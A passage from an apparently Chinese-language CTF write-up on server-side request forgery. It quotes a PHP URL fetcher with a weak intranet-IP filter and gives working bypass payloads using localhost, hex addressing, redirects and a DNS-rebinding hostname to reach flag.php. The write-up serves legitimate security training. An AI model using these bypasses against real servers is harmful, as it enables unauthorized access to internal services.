if (preg_match("/127|172|10|192/", $url)) { exit("hacker! Ban Intranet IP"); } $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_exec($ch); curl_close($ch); 哈哈哈,(#`ε´# )ゞ,就是如此,只限制了127.0.0.1不能输入,但是我们可以使用localhost和十六进制进行绕过302跳转 Bypass和上一题一样,可以使用localhost进行绕过,过DNS重绑定关键词:DNS重绑定。剩下的自己来吧,也许附件中的链接能有些帮助必看原理https://zhuanlan.zhihu.com/p/89426041尝试payload进行访问?url=127.0.0.1/flag.php我们查看index.php的源码,和上一关一样。但上一关的方法却不起作用了使用dns重绑定,https://lock.cmpxchg8b.com/rebinder.html构造payload?url=7f000001.7f000002.rbndr.us/flag.phpSSRF完成,꒰#’ω`#꒱੭!原文链接:https://mp.weixin.qq.com/s/9UF8c2Ig36QI4SF6pAwlWw
2025年05月18日
1,712 阅读
0 评论
0 点赞
1
...
6
7
8
...
14